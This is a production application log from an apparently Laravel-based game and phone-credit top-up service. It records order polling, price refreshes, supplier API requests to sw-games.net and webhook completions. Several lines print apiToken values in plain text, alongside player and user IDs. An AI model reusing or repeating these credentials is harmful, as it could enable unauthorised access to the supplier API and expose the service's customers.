[2026-03-24 11:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"M3n4aMP4jYQMGIVivvIgbzT8VIq9ziyY","execution_time":"2026-03-24 11:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:34:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"M3n4aMP4jYQMGIVivvIgbzT8VIq9ziyY","execution_time":"2026-03-24 11:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:34:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"M3n4aMP4jYQMGIVivvIgbzT8VIq9ziyY","execution_time":"2026-03-24 11:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:34:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"M3n4aMP4jYQMGIVivvIgbzT8VIq9ziyY","execution_time":"2026-03-24 11:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:35:00] production.INFO: Executing GetProducts task...  
[2026-03-24 11:35:00] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 11:35:00] production.INFO: Executing GetProducts task...  
[2026-03-24 11:35:02] production.INFO: async() رجع: true  
[2026-03-24 11:35:02] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 11:35:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 11:35:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 11:35:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 11:35:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 11:35:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 11:35:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 11:35:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 11:35:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 11:35:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 11:35:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 11:36:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"RF1ygo1UR5EdH2v8LoLX7mMrXt8nQWx2","execution_time":"2026-03-24 11:36:01"} 
[2026-03-24 11:36:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"RF1ygo1UR5EdH2v8LoLX7mMrXt8nQWx2","execution_time":"2026-03-24 11:36:01","total_operations":2,"sites_count":1} 
[2026-03-24 11:36:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"RF1ygo1UR5EdH2v8LoLX7mMrXt8nQWx2","execution_time":"2026-03-24 11:36:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:36:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"RF1ygo1UR5EdH2v8LoLX7mMrXt8nQWx2","execution_time":"2026-03-24 11:36:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:36:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"RF1ygo1UR5EdH2v8LoLX7mMrXt8nQWx2","execution_time":"2026-03-24 11:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:36:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"RF1ygo1UR5EdH2v8LoLX7mMrXt8nQWx2","execution_time":"2026-03-24 11:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:36:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"RF1ygo1UR5EdH2v8LoLX7mMrXt8nQWx2","execution_time":"2026-03-24 11:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:36:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"RF1ygo1UR5EdH2v8LoLX7mMrXt8nQWx2","execution_time":"2026-03-24 11:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:36:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"RF1ygo1UR5EdH2v8LoLX7mMrXt8nQWx2","execution_time":"2026-03-24 11:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:36:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"RF1ygo1UR5EdH2v8LoLX7mMrXt8nQWx2","execution_time":"2026-03-24 11:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:38:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Jit6QeV8Ccz8BMN2BNR80urA2ruP0uEm","execution_time":"2026-03-24 11:38:01"} 
[2026-03-24 11:38:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Jit6QeV8Ccz8BMN2BNR80urA2ruP0uEm","execution_time":"2026-03-24 11:38:01","total_operations":2,"sites_count":1} 
[2026-03-24 11:38:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Jit6QeV8Ccz8BMN2BNR80urA2ruP0uEm","execution_time":"2026-03-24 11:38:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:38:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Jit6QeV8Ccz8BMN2BNR80urA2ruP0uEm","execution_time":"2026-03-24 11:38:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:38:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Jit6QeV8Ccz8BMN2BNR80urA2ruP0uEm","execution_time":"2026-03-24 11:38:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:38:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Jit6QeV8Ccz8BMN2BNR80urA2ruP0uEm","execution_time":"2026-03-24 11:38:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:38:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Jit6QeV8Ccz8BMN2BNR80urA2ruP0uEm","execution_time":"2026-03-24 11:38:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:38:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Jit6QeV8Ccz8BMN2BNR80urA2ruP0uEm","execution_time":"2026-03-24 11:38:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:38:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Jit6QeV8Ccz8BMN2BNR80urA2ruP0uEm","execution_time":"2026-03-24 11:38:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:38:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Jit6QeV8Ccz8BMN2BNR80urA2ruP0uEm","execution_time":"2026-03-24 11:38:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:38:26] production.INFO: Constructing job for order: 178579  
[2026-03-24 11:38:28] production.INFO: Handling job for order: 178579  
[2026-03-24 11:38:28] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 11:38:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:38:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=100000&uuid=6d986c23-d7ba-4c90-be52-fc672051b515&Player_ID=590255741  
[2026-03-24 11:38:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=100000&uuid=6d986c23-d7ba-4c90-be52-fc672051b515&Player_ID=590255741","has_body":false} 
[2026-03-24 11:38:29] production.INFO: Operation sent successfully {"operation_id":163508,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-2poEPp-1774341509","amount":10.1507500000000003836930773104541003704071044921875,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 11:38:29"}},"processed_data":{"order_number":"ORD-2poEPp-1774341509","amount":10.1507500000000003836930773104541003704071044921875,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 11:39:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-2poEPp-1774341509","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 11:39:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-2poEPp-1774341509","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 11:39:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 11:39:06] production.INFO: SendAcceptReject: Notification queued {"user_id":619,"notification_type":"order_approved","reference_id":178579} 
[2026-03-24 11:39:06] production.INFO: Order updated successfully. Order ID: 178579, Status: completed  
[2026-03-24 11:39:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-2poEPp-1774341509","status":"completed","codes_count":0} 
[2026-03-24 11:39:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 619  
[2026-03-24 11:40:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"wsiOKuAslXOFhx1QHrj2qcgbiKzjGhen","execution_time":"2026-03-24 11:40:02"} 
[2026-03-24 11:40:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"wsiOKuAslXOFhx1QHrj2qcgbiKzjGhen","execution_time":"2026-03-24 11:40:02","total_operations":2,"sites_count":1} 
[2026-03-24 11:40:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"wsiOKuAslXOFhx1QHrj2qcgbiKzjGhen","execution_time":"2026-03-24 11:40:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:40:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"wsiOKuAslXOFhx1QHrj2qcgbiKzjGhen","execution_time":"2026-03-24 11:40:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:40:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"wsiOKuAslXOFhx1QHrj2qcgbiKzjGhen","execution_time":"2026-03-24 11:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:40:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"wsiOKuAslXOFhx1QHrj2qcgbiKzjGhen","execution_time":"2026-03-24 11:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:40:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"wsiOKuAslXOFhx1QHrj2qcgbiKzjGhen","execution_time":"2026-03-24 11:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:40:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"wsiOKuAslXOFhx1QHrj2qcgbiKzjGhen","execution_time":"2026-03-24 11:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:40:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"wsiOKuAslXOFhx1QHrj2qcgbiKzjGhen","execution_time":"2026-03-24 11:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:40:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"wsiOKuAslXOFhx1QHrj2qcgbiKzjGhen","execution_time":"2026-03-24 11:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:40:02] production.INFO: Executing GetProducts task...  
[2026-03-24 11:40:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 11:40:02] production.INFO: Executing GetProducts task...  
[2026-03-24 11:40:04] production.INFO: async() رجع: true  
[2026-03-24 11:40:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 11:40:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 11:40:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 11:40:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 11:40:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 11:40:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 11:40:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 11:40:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 11:40:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 11:40:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 11:40:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 11:42:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"fT24Sf7E7hR9L4FJezh0BidJj7XigGFd","execution_time":"2026-03-24 11:42:03"} 
[2026-03-24 11:42:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"fT24Sf7E7hR9L4FJezh0BidJj7XigGFd","execution_time":"2026-03-24 11:42:03","total_operations":2,"sites_count":1} 
[2026-03-24 11:42:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"fT24Sf7E7hR9L4FJezh0BidJj7XigGFd","execution_time":"2026-03-24 11:42:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:42:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"fT24Sf7E7hR9L4FJezh0BidJj7XigGFd","execution_time":"2026-03-24 11:42:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:42:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"fT24Sf7E7hR9L4FJezh0BidJj7XigGFd","execution_time":"2026-03-24 11:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:42:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fT24Sf7E7hR9L4FJezh0BidJj7XigGFd","execution_time":"2026-03-24 11:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:42:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fT24Sf7E7hR9L4FJezh0BidJj7XigGFd","execution_time":"2026-03-24 11:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:42:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"fT24Sf7E7hR9L4FJezh0BidJj7XigGFd","execution_time":"2026-03-24 11:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:42:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"fT24Sf7E7hR9L4FJezh0BidJj7XigGFd","execution_time":"2026-03-24 11:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:42:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"fT24Sf7E7hR9L4FJezh0BidJj7XigGFd","execution_time":"2026-03-24 11:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:42:04] production.INFO: Constructing job for order: 178580  
[2026-03-24 11:42:06] production.INFO: Handling job for order: 178580  
[2026-03-24 11:42:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 11:42:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:42:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=22559513-18e5-49a7-8535-4ed75997b68a&Player_ID=471156  
[2026-03-24 11:42:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=22559513-18e5-49a7-8535-4ed75997b68a&Player_ID=471156","has_body":false} 
[2026-03-24 11:42:07] production.INFO: Operation sent successfully {"operation_id":163509,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1rd83KT-1774341726","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 11:42:07"}},"processed_data":{"order_number":"ORD-1rd83KT-1774341726","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 11:42:13] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-1rd83KT-1774341726","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 11:42:13] production.INFO: Processed webhook data (normalized) {"id":"ORD-1rd83KT-1774341726","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 11:42:13] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 11:42:13] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":178580} 
[2026-03-24 11:42:13] production.INFO: Order updated successfully. Order ID: 178580, Status: completed  
[2026-03-24 11:42:13] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-1rd83KT-1774341726","status":"completed","codes_count":0} 
[2026-03-24 11:42:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 11:42:52] production.INFO: Constructing job for order: 178581  
[2026-03-24 11:42:55] production.INFO: Handling job for order: 178581  
[2026-03-24 11:42:55] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 11:42:55] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:42:55] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=0c6fd9cc-a2c7-48d9-8c0e-42d0175f20cd&Player_ID=0988104907  
[2026-03-24 11:42:55] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=0c6fd9cc-a2c7-48d9-8c0e-42d0175f20cd&Player_ID=0988104907","has_body":false} 
[2026-03-24 11:42:56] production.INFO: Operation sent successfully {"operation_id":163510,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-rQMytB-1774341775","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 11:42:56"}},"processed_data":{"order_number":"ORD-rQMytB-1774341775","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 11:43:45] production.INFO: SendAcceptReject: Notification queued {"user_id":568,"notification_type":"request_approved","reference_id":18596} 
[2026-03-24 11:43:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 568  
[2026-03-24 11:44:00] production.INFO: SendAcceptReject: Notification queued {"user_id":1703,"notification_type":"request_approved","reference_id":18597} 
[2026-03-24 11:44:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1703  
[2026-03-24 11:44:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02"} 
[2026-03-24 11:44:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","total_operations":3,"sites_count":2} 
[2026-03-24 11:44:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:44:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:44:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:44:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:44:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:44:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:44:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:44:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1,"order_ids":["ORD-rQMytB-1774341775"]} 
[2026-03-24 11:44:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:44:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1} 
[2026-03-24 11:44:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rQMytB-1774341775","operation_id":163510,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 11:44:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rQMytB-1774341775","operation_id":163510,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 11:44:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rQMytB-1774341775","operation_id":163510,"count":1} 
[2026-03-24 11:44:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rQMytB-1774341775","operation_id":163510,"count":1} 
[2026-03-24 11:44:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rQMytB-1774341775","operation_id":163510,"user_id":43,"notification_type":"order_approved","reference_id":178581} 
[2026-03-24 11:44:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rQMytB-1774341775","operation_id":163510,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 11:44:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rQMytB-1774341775","operation_id":163510,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 11:44:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rQMytB-1774341775","operation_id":163510,"processed":1,"errors":0} 
[2026-03-24 11:44:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rQMytB-1774341775","operation_id":163510,"processed":1,"errors":0} 
[2026-03-24 11:44:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"qSECUgG1piM9lvURLmIwZcAoOpKhcyqe","execution_time":"2026-03-24 11:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rQMytB-1774341775","operation_id":163510} 
[2026-03-24 11:44:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 11:44:12] production.INFO: SendAcceptReject: Notification queued {"user_id":39,"notification_type":"request_approved","reference_id":18598} 
[2026-03-24 11:44:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 39  
[2026-03-24 11:44:21] production.INFO: Constructing job for order: 178582  
[2026-03-24 11:44:23] production.INFO: SendAcceptReject: Notification queued {"user_id":1688,"notification_type":"request_approved","reference_id":18599} 
[2026-03-24 11:44:23] production.INFO: Constructing job for order: 178583  
